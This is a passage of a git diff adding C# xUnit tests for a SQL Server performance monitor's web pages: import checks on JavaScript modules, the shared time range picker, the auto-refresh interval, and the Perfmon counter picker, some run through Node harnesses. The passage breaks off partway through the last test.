+    /// <summary>The identifiers a module uses that a shared module exports but its import lines do not name.</summary>
+    internal static List<string> UnimportedSharedNames(string source, HashSet<string> exports)
+    {
+        source = source.ReplaceLineEndings("\n");
+        var imported = ImportedNames(source);
+        var body = CodeBody(source);
+        var declared = LocalBindings(body);
+        return exports
+            .Where(n => !imported.Contains(n) && !declared.Contains(n)
+                && Regex.IsMatch(body, @"(?<![\w$.])" + Regex.Escape(n) + @"(?![\w$])"))
+            .OrderBy(n => n, StringComparer.Ordinal).ToList();
+    }
+
+    [Fact]
+    public void NoWebModuleBindsLocallyANameItImports()
+    {
+        var root = PathTo(JsRoot);
+        foreach (var file in AllModules())
+        {
+            var both = ImportedNamesAlsoBoundLocally(File.ReadAllText(file));
+            Assert.True(both.Count == 0, Path.GetRelativePath(root, file) + " imports and also binds locally: " + string.Join(", ", both)
+                + " (the source pin would treat the name as the module's own and stop checking it)");
+        }
+    }
+
+    [Fact]
+    public void ThePinFailsWhenAModuleImportsANameAndAlsoBindsItAsAParameter()
+    {
+        const string collides = "import { field } from \"./util.js\";\nexport function f(field) { return field; }\n";
+        Assert.Equal(new[] { "field" }, ImportedNamesAlsoBoundLocally(collides));
+        const string clean = "import { field } from \"./util.js\";\nexport function f(x) { return field(x); }\n";
+        Assert.Empty(ImportedNamesAlsoBoundLocally(clean));
+        // A name that is NOT imported and is bound locally is the module's own, and stays out of the report.
+        Assert.Empty(ImportedNamesAlsoBoundLocally("export function f(field) { return field; }\n"));
+    }
+
+    [Fact]
+    public void EveryWebModuleImportsEveryExportedNameItUses()
+    {
+        var exports = Exports();
+        Assert.Contains("renderPanel", exports);
+        Assert.Contains("READ_FIELDS", exports);
+        Assert.Contains("VIZ", exports);
+        Assert.Contains("el", exports);
+
+        var root = PathTo(JsRoot);
+        var files = AllModules();
+        Assert.NotEmpty(files);
+        foreach (var file in files)
+        {
+            var missing = UnimportedSharedNames(File.ReadAllText(file), exports);
+            Assert.True(missing.Count == 0, Path.GetRelativePath(root, file) + " uses but does not import: " + string.Join(", ", missing));
+        }
+    }
+
+    [Fact]
+    public void ThePinFlagsAFinOpsModuleThatDropsAnImportItStillUses()
+    {
+        var exports = Exports();
+        const string broken = "import { VIZ } from \"../../panels.js\";\nimport { el } from \"../../util.js\";\nconst X = READ_FIELDS.a;\nrenderPanel({});\nVIZ.stat(el());\n";
+        Assert.Equal(new[] { "READ_FIELDS", "renderPanel" }, UnimportedSharedNames(broken, exports));
+        const string fixedSource = "import { renderPanel, VIZ } from \"../../panels.js\";\nimport { el } from \"../../util.js\";\nimport { READ_FIELDS } from \"../../read-fields.js\";\nconst X = READ_FIELDS.a;\nrenderPanel({});\nVIZ.stat(el());\n";
+        Assert.Empty(UnimportedSharedNames(fixedSource, exports));
+    }
+
+    [Fact]
+    public void ThePinFlagsANonFinOpsModuleAndIgnoresLocalBindings()
+    {
+        var exports = Exports();
+        var shared = exports.OrderBy(n => n, StringComparer.Ordinal).First(n => n != "el");
+        var broken = "import { el } from \"../util.js\";\nexport function render() { return el(" + shared + "); }\n";
+        Assert.Equal(new[] { shared }, UnimportedSharedNames(broken, exports));
+        // The same name as a parameter, a destructured binding, an arrow parameter or a property is not the shared one.
+        var local = "export function a(" + shared + ") { return " + shared + "; }\n"
+            + "export function b(o) { const { " + shared + " } = o; return " + shared + "; }\n"
+            + "export const c = (" + shared + ", x) => " + shared + " + x;\n"
+            + "export const d = o => o." + shared + ";\n";
+        Assert.Empty(UnimportedSharedNames(local, exports));
+    }
+}
diff --git a/Darling/Darling.Tests/WebPageRangeTests.cs b/Darling/Darling.Tests/WebPageRangeTests.cs
new file mode 100644
index 0000000000..dafd287fb5
--- /dev/null
+++ b/Darling/Darling.Tests/WebPageRangeTests.cs
@@ -0,0 +1,229 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The other nine web pages on the shared time range picker (#5562, lane L2b): the Alert History, Fleet Sweeps, Job History,
+/// FinOps (Database Resources, High Impact, Optimization, Storage Growth), Custom Views and view-editor pages, and the server
+/// page's "collected every N minutes" note. Source pins plus a Node run of the pure parts (skipped without Node).
+/// </summary>
+public sealed class WebPageRangeTests
+{
+    private static string Js(params string[] parts) =>
+        ReadRepoFile(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" }.Concat(parts).ToArray()).ReplaceLineEndings("\n");
+
+    private static bool TryRunNode(out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "page-range-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the page-range harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the page-range harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    [Fact]
+    public void EveryFinOpsTabPicksItsWindowOnTheRollingOnlyPicker_NotASelect()
+    {
+        // R5: Compact, rolling-only, no calendar period, no custom end, an hour at least.
+        var window = Js("pages", "finops", "window.js");
+        Assert.Contains("compact: true,", window);
+        Assert.Contains("rollingOnly: true,", window);
+        Assert.Contains("minSpanMs: opts.minSpanMs || ROLLING_ONLY_MIN_SPAN_MS", window);
+        Assert.Contains("read: \"get_finops\"", window);
+        foreach (var tab in new[] { "database-resources", "high-impact", "optimization", "storage-growth" })
+        {
+            var src = Js("pages", "finops", tab + ".js");
+            Assert.Contains("finopsWindowControl(", src);
+            Assert.DoesNotContain("WINDOWS", src);
+            Assert.DoesNotContain("range-select-inline", src);
+        }
+    }
+
+    [Fact]
+    public void TheStorageGrowthPickerTakesTheViewsOwnReachAndWholeDays()
+    {
+        var src = Js("pages", "finops", "storage-growth.js");
+        // #5562 L4b: no reach constant of its own; the picker reads the catalog's view_max_hours for this view.
+        Assert.DoesNotContain("STORAGE_GROWTH_REACH_HOURS", src);
+        Assert.Contains("view: \"storage_growth\",", src);
+        Assert.Contains("view_max_hours", Js("page-range.js"));
+        Assert.Contains("minSpanMs: 7 * DAY_MS,", src);
+        Assert.Contains("stepMs: DAY_MS,", src);
+
+        // The reach is the view's, as the tool's own description says; the get_finops catalog entry says 168 for its other views.
+        var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.cs");
+        Assert.Contains("storage_growth: max 2160", tool);
+    }
+
+    [Fact]
+    public void ViewsAndTheEditorTakeTheirRangeFromTheRollingPicker_AndNothingIsClamped()
+    {
+        var views = Js("pages", "views.js");
+        Assert.Contains("rollingHoursPicker({", views);
+        Assert.Contains("reachHours: MAX_RANGE_HOURS,", views);
+        Assert.Contains("const MAX_RANGE_HOURS = 24 * 90;", views);
+        Assert.DoesNotContain("Math.min(n * parseInt(unit.value, 10), MAX_RANGE_HOURS)", views);
+        Assert.DoesNotContain("VIEW_RANGE_OPTIONS", views);
+
+        // The view's default range is the editor's "view default": the compose runner's 90 days, refused beyond.
+        var editor = Js("editor.js");
+        Assert.Contains("rollingHoursPicker({", editor);
+        Assert.Contains("reachHours: MAX_VIEW_RANGE_HOURS,", editor);
+        Assert.Contains("const MAX_VIEW_RANGE_HOURS = 24 * 90;", editor);
+        Assert.DoesNotContain("aria-label\": \"Default time range\" });\n  rangeSel.appendChild", editor);
+    }
+
+    [Fact]
+    public void SweepsAndJobHistorySendTheEndOfAFinishedRange()
+    {
+        var sweeps = Js("pages", "sweeps.js");
+        Assert.Contains("\"&as_of=\" + encodeURIComponent(w.asOf)", sweeps);
+        Assert.Contains("read: \"get_sweep_reports\"", sweeps);
+        Assert.DoesNotContain("SPANS", sweeps);
+
+        var jobs = Js("pages", "job-history.js");
+        Assert.Contains("read: \"get_job_history\"", jobs);
+        Assert.Contains("if (w.asOf) p.as_of = w.asOf;", jobs);
+        Assert.DoesNotContain("WINDOWS", jobs);
+    }
+
+    [Fact]
+    public void EveryServerTabThatDeclaresACollectorNamesARealOne_AndTheViewerAgreesOnTheSharedTabs()
+    {
+        var tabs = Js("pages", "server-tabs.js");
+        /* A tab's collector is declared in server-tab-reach.js (#5562 r3), by tab id, in registry order: the seven SQL Server tabs, then the
+           two PostgreSQL ones. The label is the tab's own, from the SQL Server registry's first tab of that id. */
+        var reach = Js("pages", "server-tab-reach.js");
+        var declared = Regex.Matches(reach, "(?m)^  ([a-z-]+): \\{\n    collector: \"([a-z_]+)\",")
+            .Select(m => (Regex.Match(tabs, "(?m)^    id: \"" + m.Groups[1].Value + "\",\n    label: \"([^\"]+)\",").Groups[1].Value, m.Groups[2].Value)).ToList();
+        Assert.Equal(9, declared.Count);
+        Assert.All(declared, d => Assert.NotEqual(string.Empty, d.Item1));
+
+        foreach (var (_, collector) in declared)
+            Assert.True(CollectorScheduleDefaults.All.ContainsKey(collector), collector + " is not a collector the schedule knows");
+
+        // The SQL Server tabs the Viewer also has name the same main collector (the Viewer's table: ViewerTimeRangeWindow.MainCollectorFor).
+        foreach (var (label, collector) in declared.Take(7))
+        {
+            var viewer = PerformanceMonitor.Darling.Viewer.ViewerTimeRangeWindow.MainCollectorFor(label);
+            Assert.Equal(viewer, collector);
+        }
+    }
+
+    [Fact]
+    public void TheServerPageGivesThePickerTheTabsActualCollectorInterval_AndNeverWidensTheRange()
+    {
+        var server = Js("pages", "server.js");
+        Assert.Contains("serverCatalog(server).then((catalog) => {", server);
+        // A tab with no collector gives the picker no interval (null: no sample note, and the range is never widened);
+        // collectorIntervalFromCatalog itself answers null for a missing collector, so the guard and the helper agree.
+        Assert.Contains("picker.setSampleInterval(tab.collector ? collectorIntervalFromCatalog(catalog, tab.collector) : null);", server);
+        // The note is set before the keep-the-panels return, so a poll that keeps the grid still gets it.
+        var noteCall = server.IndexOf("  applySampleNote();", StringComparison.Ordinal);
+        Assert.True(noteCall >= 0, "server.js no longer calls applySampleNote().");
+        Assert.True(noteCall < server.IndexOf("if (keepGrid) {", StringComparison.Ordinal));
+        // The server's own schedule: the catalog is asked for this server.
+        Assert.Contains("\"/api/catalog?server=\" + encodeURIComponent(server)", Js("page-range.js"));
+    }
+
+    [Fact]
+    public void ThePureParts_RunUnderNode()
+    {
+        if (!TryRunNode(out var r)) return;
+
+        // The interval is the catalog's own (a per-server schedule row over the default), and a collector it does not know gives none.
+        var interval = r.GetProperty("interval");
+        Assert.Equal(1, interval.GetProperty("waitStatsDefault").GetInt32());
+        Assert.Equal(5, interval.GetProperty("waitStatsServerOverride").GetInt32());
+        Assert.Equal(JsonValueKind.Null, interval.GetProperty("unknownCollector").ValueKind);
+        Assert.Equal(JsonValueKind.Null, interval.GetProperty("noCollector").ValueKind);
+        Assert.Equal(JsonValueKind.Null, interval.GetProperty("noCatalog").ValueKind);
+
+        // Fewer than 3 samples at the interval: the one-line note. 3 or more: none.
+        var note = r.GetProperty("note");
+        Assert.Equal("Data here is collected every 5 minutes.", note.GetProperty("fiveMinutesAtFive").GetString());
+        Assert.Equal("Data here is collected every 5 minutes.", note.GetProperty("fourteenMinutesAtFive").GetString());
+        Assert.Equal(JsonValueKind.Null, note.GetProperty("fifteenMinutesAtFive").ValueKind);
+        Assert.Equal(JsonValueKind.Null, note.GetProperty("fiveMinutesAtOne").ValueKind);
+        Assert.Equal("Data here is collected every hour.", note.GetProperty("thirtyMinutesAtHour").GetString());
+        Assert.Equal(JsonValueKind.Null, note.GetProperty("threeHoursAtHour").ValueKind);
+        Assert.Equal(JsonValueKind.Null, note.GetProperty("noInterval").ValueKind);
+
+        // R5: only a rolling, whole-hour length of an hour or more; a daily read wants whole days of a day or more.
+        var rolling = r.GetProperty("rolling");
+        Assert.Equal(JsonValueKind.Null, rolling.GetProperty("ok").ValueKind);
+        Assert.Equal("This page reads at least 1h back from now.", rolling.GetProperty("underAnHour").GetString());
+        Assert.Equal("This page reads whole hours back from now, such as 6h or 3d.", rolling.GetProperty("fractionalHours").GetString());
+        foreach (var name in new[] { "calendar", "finished", "since" })
+            Assert.Equal("This page reads a length back from now, so pick a rolling length such as 24h or 7d.", rolling.GetProperty(name).GetString());
+        Assert.Equal(JsonValueKind.Null, rolling.GetProperty("daysOk").ValueKind);
+        Assert.Equal("This page reads whole days back from now, such as 7d or 30d.", rolling.GetProperty("daysHours").GetString());
+        Assert.Equal("This page reads at least 1d back from now.", rolling.GetProperty("daysBelowFloor").GetString());
+
+        // A held range gives the read whole hours (rounded up) and, when finished, its end.
+        var window = r.GetProperty("window");
+        Assert.Equal(1, window.GetProperty("thirtyMinutes").GetProperty("hours").GetInt32());
+        Assert.Equal(JsonValueKind.Null, window.GetProperty("rolling").GetProperty("asOf").ValueKind);
+        Assert.Equal(24, window.GetProperty("finished").GetProperty("hours").GetInt32());
+        Assert.Equal("2026-10-08T10:00:00.000Z", window.GetProperty("finished").GetProperty("asOf").GetString());
+
+        // R9: Today two minutes after midnight is held (a calendar period is exempt from the floor); exactly midnight is refused; a typed span keeps the floor.
+        var floor = r.GetProperty("calendarFloor");
+        Assert.Equal(1, floor.GetProperty("twoMinutesIn").GetProperty("window").GetProperty("hours").GetInt32());
+        Assert.Equal("Today has only just started. Pick another range.", floor.GetProperty("atMidnight").GetProperty("error").GetString());
+        Assert.Equal("too_short", floor.GetProperty("typedUnderFloor").GetString());
+
+        // The per-server catalog is read once, kept for its time to live, then read again (and expires on lookup, not on a timer that holds Node open).
+        var ttl = r.GetProperty("catalogTtl");
+        Assert.Equal(1, ttl.GetProperty("afterTwoLookups").GetInt32());
+        Assert.Equal(1, ttl.GetProperty("afterFourMinutes").GetInt32());
+        Assert.Equal(2, ttl.GetProperty("afterSixMinutes").GetInt32());
+        Assert.DoesNotContain("setTimeout(() => serverCatalogs", Js("page-range.js"));
+
+        // The sweep timeline and the job runs are cut at the range's start (newest first, so a row cap cannot hide a run in range).
+        Assert.Equal(3, r.GetProperty("sweeps").GetProperty("kept").GetInt32());
+        Assert.Equal(2, r.GetProperty("sweeps").GetProperty("all").GetInt32());
+        Assert.Equal(2, r.GetProperty("jobs").GetProperty("kept").GetInt32());
+    }
+}
diff --git a/Darling/Darling.Tests/WebPageRefreshIntervalBehaviourTests.cs b/Darling/Darling.Tests/WebPageRefreshIntervalBehaviourTests.cs
new file mode 100644
index 0000000000..cba8fd555f
--- /dev/null
+++ b/Darling/Darling.Tests/WebPageRefreshIntervalBehaviourTests.cs
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server and FinOps pages carry an auto-refresh interval selector (30 sec / 1 min / 5 min / Off) and a Refresh
+/// button, matching the desktop Viewer's choices. These run the shipped <c>app.js</c> scheduler under Node
+/// (<c>web-page-refresh-harness.mjs</c>) with a controllable clock and a counting fetch. Node is skipped when it is
+/// not installed.
+/// </summary>
+public sealed class WebPageRefreshIntervalBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-page-refresh-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped scheduler cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(60000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the page refresh harness did not finish in 60 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the page refresh harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[0]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    [Fact]
+    public void TheSelector_OffersThirtySecondsOneMinuteFiveMinutesAndOff_WithOneMinuteSelectedByDefault()
+    {
+        var r = Run();
+        Assert.Equal(new[] { "30s=30 sec", "1m=1 min", "5m=5 min", "off=Off" },
+            r.GetProperty("options").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal("1m", r.GetProperty("selectedByDefault").GetString());
+    }
+
+    [Fact]
+    public void EachInterval_ReRendersThePage_AfterItsOwnSpan()
+    {
+        var r = Run();
+        var s30 = r.GetProperty("next30").GetInt32();
+        var s1m = r.GetProperty("next1m").GetInt32();
+        var s5m = r.GetProperty("next5m").GetInt32();
+        Assert.InRange(s30, 30, 35);
+        Assert.InRange(s1m, 60, 65);
+        Assert.InRange(s5m, 300, 305);
+    }
+
+    [Fact]
+    public void Off_FiresNoPageReads_ForFifteenMinutes_ButTheShellReadsContinue()
+    {
+        var r = Run();
+        Assert.Equal(0, r.GetProperty("offPageReads").GetInt32());
+        // 900 s at the 60 s shell roll-up: sidebar, view list and AG nav keep running, so a lapsed session still shows.
+        Assert.True(r.GetProperty("offShellReads").GetInt32() >= 15, "shell reads stopped under Off");
+    }
+
+    [Fact]
+    public void TheRefreshButton_IgnoresClicksWhileReadsRun_AndShowsItIsBusy()
+    {
+        var r = Run();
+        Assert.Equal(1, r.GetProperty("doubleClickViews").GetInt32());
+        Assert.Equal(1, r.GetProperty("doubleClickRenders").GetInt32());
+        Assert.True(r.GetProperty("busyWhileReading").GetBoolean());
+        Assert.True(r.GetProperty("idleAfterSettle").GetBoolean());
+    }
+
+    [Fact]
+    public void AnIntervalSavedInAnotherTab_AppliesHere()
+    {
+        var r = Run();
+        Assert.Equal("off", r.GetProperty("storageSelectValue").GetString());
+        Assert.Equal(0, r.GetProperty("storageOffRenders").GetInt32());
+        Assert.Equal("Auto-refresh off", r.GetProperty("storageHint").GetString());
+    }
+
+    [Fact]
+    public void TheRefreshButton_ReRendersThePageOnce_EvenWhenAutoRefreshIsOff()
+    {
+        var r = Run();
+        Assert.Equal(1, r.GetProperty("refreshClickReads").GetInt32());
+        Assert.Equal(0, r.GetProperty("refreshAfterOffReads").GetInt32());
+    }
+
+    [Fact]
+    public void OnAFixedCustomRange_ThePollReadsNothing_AndTheRefreshButtonReReadsThePage()
+    {
+        var r = Run();
+        Assert.True(r.GetProperty("fixedRangeApplyError").ValueKind == JsonValueKind.Null, "the fixed range was not taken");
+        Assert.Equal(0, r.GetProperty("fixedRangePollReads").GetInt32());
+        Assert.True(r.GetProperty("fixedRangeRefreshReads").GetInt32() > 0, "Refresh did not re-read the fixed range");
+    }
+
+    [Fact]
+    public void ThirtySeconds_RespectsTheSlowPageBackoff_AndNeverStacksRenders()
+    {
+        var r = Run();
+        var starts = r.GetProperty("backoffStarts").EnumerateArray().Select(e => e.GetInt32()).ToArray();
+        Assert.True(starts.Length >= 2, "expected at least two renders in the window");
+        // Reads that take 20 s are more than half of 30 s, so the next render waits 4x the render time, not 30 s.
+        var gaps = r.GetProperty("backoffGaps").EnumerateArray().Select(e => e.GetInt32()).ToArray();
+        Assert.True(gaps[0] >= 80, "the slow page re-rendered after " + gaps[0] + " s");
+        // Every later gap is held to the same backoff: the fleet read counts as in flight, so the render is timed for
+        // the whole 20 s its reads ran.
+        Assert.All(gaps, g => Assert.True(g >= 80, "a render started " + g + " s after the previous one"));
+        Assert.True(r.GetProperty("backoffHintSaysSlow").GetBoolean());
+        // Reads that never finish inside the window: the one render only, no stacked second one.
+        Assert.Equal(1, r.GetProperty("stackedRenders").GetInt32());
+    }
+
+    [Fact]
+    public void TheChoice_IsPersistedInLocalStorage_AndRestoredByTheNextLoad()
+    {
+        var r = Run();
+        Assert.Equal("30s", r.GetProperty("saved").GetString());
+        Assert.Equal("30s", r.GetProperty("restoredValue").GetString());
+    }
+
+    [Fact]
+    public void TheStatusBarHint_NamesTheInterval_AndTheControlShowsOnlyOnServerAndFinOpsPages()
+    {
+        var r = Run();
+        Assert.Equal("Auto-refresh: 30 sec", r.GetProperty("hint30").GetString());
+        Assert.Equal("Auto-refresh off", r.GetProperty("hintOff").GetString());
+        Assert.True(r.GetProperty("controlHiddenOnFleet").GetBoolean());
+        Assert.False(r.GetProperty("controlHiddenOnFinops").GetBoolean());
+    }
+}
diff --git a/Darling/Darling.Tests/WebPerfmonMultiSelectBehaviourTests.cs b/Darling/Darling.Tests/WebPerfmonMultiSelectBehaviourTests.cs
new file mode 100644
index 0000000000..df3eca1cd4
--- /dev/null
+++ b/Darling/Darling.Tests/WebPerfmonMultiSelectBehaviourTests.cs
@@ -0,0 +1,267 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web Perfmon panel's multi-select counter picker does, from the shipped <c>server-tabs.js</c>,
+/// <c>multi-picker.js</c> and <c>charts.js</c> run under Node (<c>web-perfmon-multi-harness.mjs</c>) against a scripted
+/// <c>/api/read</c>: the desktop's General Throughput default set, check and uncheck, search, the cap of ten, the state
+/// surviving the 60 s rebuild per server, a failed series and the one read per checked counter. Node is skipped when it
+/// is not installed.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class WebPerfmonMultiSelectBehaviourTests
+{
+    private static readonly string[] Defaults =
+        { "Batch Requests/sec", "Network IO waits", "Query optimizations/sec", "SQL Compilations/sec", "SQL Re-Compilations/sec" };
+
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-perfmon-multi-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the perfmon multi harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the perfmon multi harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return true;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static JsonElement Run(string scenario)
+    {
+        Assert.True(TryRun(scenario, out var result));
+        return result;
+    }
+
+    [Fact]
+    public void TheDefaultSet_IsTheDesktopsGeneralThroughputPack_OneReadEach_NoMetricSwitch()
+    {
+        var r = Run("defaults");
+        Assert.Equal(Defaults, Strings(r.GetProperty("checked")));
+        Assert.Equal(Defaults, Strings(r.GetProperty("reads")));
+        Assert.Equal(Defaults, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("5 / 10 selected", r.GetProperty("count").GetString());
+        Assert.Equal(0, r.GetProperty("selects").GetInt32());
+    }
+
+    [Fact]
+    public void WhenNoPackCounterIsCollected_TheFirstCounterIsChecked()
+    {
+        var r = Run("noPackCounters");
+        Assert.Equal(new[] { "Alpha" }, Strings(r.GetProperty("checked")));
+        Assert.Equal(new[] { "Alpha" }, Strings(r.GetProperty("reads")));
+    }
+
+    [Fact]
+    public void CheckingAndUnchecking_RedrawsWithOneReadPerCheckedCounter()
+    {
+        var r = Run("checkUncheck");
+        Assert.DoesNotContain("Batch Requests/sec", Strings(r.GetProperty("afterUncheck")));
+        Assert.Equal(Strings(r.GetProperty("afterUncheck")), Strings(r.GetProperty("readsAfterUncheck")));
+        Assert.Contains("Page Splits/sec", Strings(r.GetProperty("afterCheck")));
+        Assert.Equal(Strings(r.GetProperty("afterCheck")), Strings(r.GetProperty("readsAfterCheck")));
+        Assert.Equal(5, r.GetProperty("chart").GetProperty("labels").GetArrayLength());
+    }
+
+    [Fact]
+    public void Search_FiltersTheList_CaseInsensitively_AndSaysWhenNothingMatches()
+    {
+        var r = Run("search");
+        Assert.Equal(new[] { "Lock Waits/sec" }, Strings(r.GetProperty("found")));
+        Assert.Empty(r.GetProperty("none").EnumerateArray());
+        Assert.Equal(new[] { "No counter matches the search." }, Strings(r.GetProperty("noneText")));
+        Assert.Equal(15, r.GetProperty("all").GetInt32());
+    }
+
+    [Fact]
+    public void TheCapIsTen_SelectAllStopsThere_ClearAllEmptiesTheChart_AndTheDefaultButtonRestoresThePack()
+    {
+        var r = Run("cap");
+        Assert.Empty(r.GetProperty("afterClear").EnumerateArray());
+        Assert.Equal(10, r.GetProperty("checked").GetArrayLength());
+        Assert.Equal(5, r.GetProperty("disabled").GetInt32());
+        Assert.Equal(new[] { "Limit reached: uncheck a counter to pick another." }, Strings(r.GetProperty("hint")));
+        Assert.Equal(1, r.GetProperty("emptyChart").GetInt32());
+        Assert.Equal(Defaults, Strings(r.GetProperty("top")));
+    }
+
+    [Fact]
+    public void TheChosenSet_AndSearch_SurviveTheRebuild_PerServer()
+    {
+        var r = Run("survives");
+        Assert.Equal(new[] { "Lock Waits/sec" }, Strings(r.GetProperty("rebuilt")));
+        Assert.Equal("Lock", r.GetProperty("search").GetString());
+        Assert.Equal(Defaults, Strings(r.GetProperty("other")));
+    }
+
+    [Fact]
+    public void ACheckedCounter_OutsideThisPollsList_StaysCheckedListedAndRead_AndIsStillThereWhenItReturns()
+    {
+        var r = Run("droppedOut");
+        Assert.Equal(new[] { "C13" }, Strings(r.GetProperty("checked")));
+        Assert.Equal(new[] { "C13" }, Strings(r.GetProperty("listedLast")));
+        Assert.Equal(new[] { "C13" }, Strings(r.GetProperty("reads")));
+        Assert.Equal(new[] { "C13" }, Strings(r.GetProperty("checkedBack")));
+    }
+
+    [Fact]
+    public void OneFailedRead_GetsANote_AndTheOtherLinesStillDraw()
+    {
+        var r = Run("oneFailed");
+        Assert.Equal(4, r.GetProperty("chart").GetProperty("labels").GetArrayLength());
+        Assert.Contains(Strings(r.GetProperty("notes")), n => n.StartsWith("SQL Compilations/sec:"));
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+    }
+
+    [Fact]
+    public void EveryReadFailed_ShowsAnError_AndEveryReadEmpty_ShowsTheEmptyState_NotAnError()
+    {
+        var failed = Run("allFailed");
+        Assert.Single(failed.GetProperty("errors").EnumerateArray());
+        Assert.Equal(5, failed.GetProperty("notes").GetArrayLength());
+        var empty = Run("allEmpty");
+        Assert.Empty(empty.GetProperty("errors").EnumerateArray());
+        Assert.Contains(Strings(empty.GetProperty("empties")), e => e.StartsWith("None of the 5 checked counters has trend data"));
+    }
+
+    [Fact]
+    public void ACounterWithNoTrend_ListsTheCollectedCountersAsText_NotAsAJsonPath()
+    {
+        var r = Run("hintedEmpty");
+        var note = Assert.Single(Strings(r.GetProperty("notes")), n => n.StartsWith("SQL Compilations/sec:"));
+        Assert.Contains("Collected here: Alpha/sec, Beta pages.", note);
+        Assert.DoesNotContain("hints.collected_counters", note);
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+    }
+
+    [Fact]
+    public void FastClicks_AbortTheSupersededReads_AndLeaveOneDrawsReadsInFlight()
+    {
+        var r = Run("fastClicks");
+        // Reads for the same counter that are still in flight are shared (apiGetJoined), so the repeated clicks send fewer
+        // than the thirty they once did; every read nobody waits for any more is aborted and five stay in flight.
+        // The harness is deterministic, so the counts are exact: the four clicks send 18 reads, at most 13 are in flight at
+        // once, 13 are cancelled because nothing waits for them any more, and the last click's five stay in flight.
+        Assert.Equal(18, r.GetProperty("sent").GetInt32());
+        Assert.Equal(13, r.GetProperty("maxInFlight").GetInt32());
+        Assert.Equal(5, r.GetProperty("stillInFlight").GetInt32());
+        Assert.Equal(13, r.GetProperty("aborted").GetInt32());
+    }
+
+    [Fact]
+    public void ClicksThatChangeTheSeries_AbortTheSupersededReads_AndSendOnlyTheNewOnes()
+    {
+        // Round-1 M5: each series has its own path, so nothing is shared; "Clear All" supersedes every read the
+        // Default counters click sent, and each is the only caller on its request, so the fetch itself is cancelled.
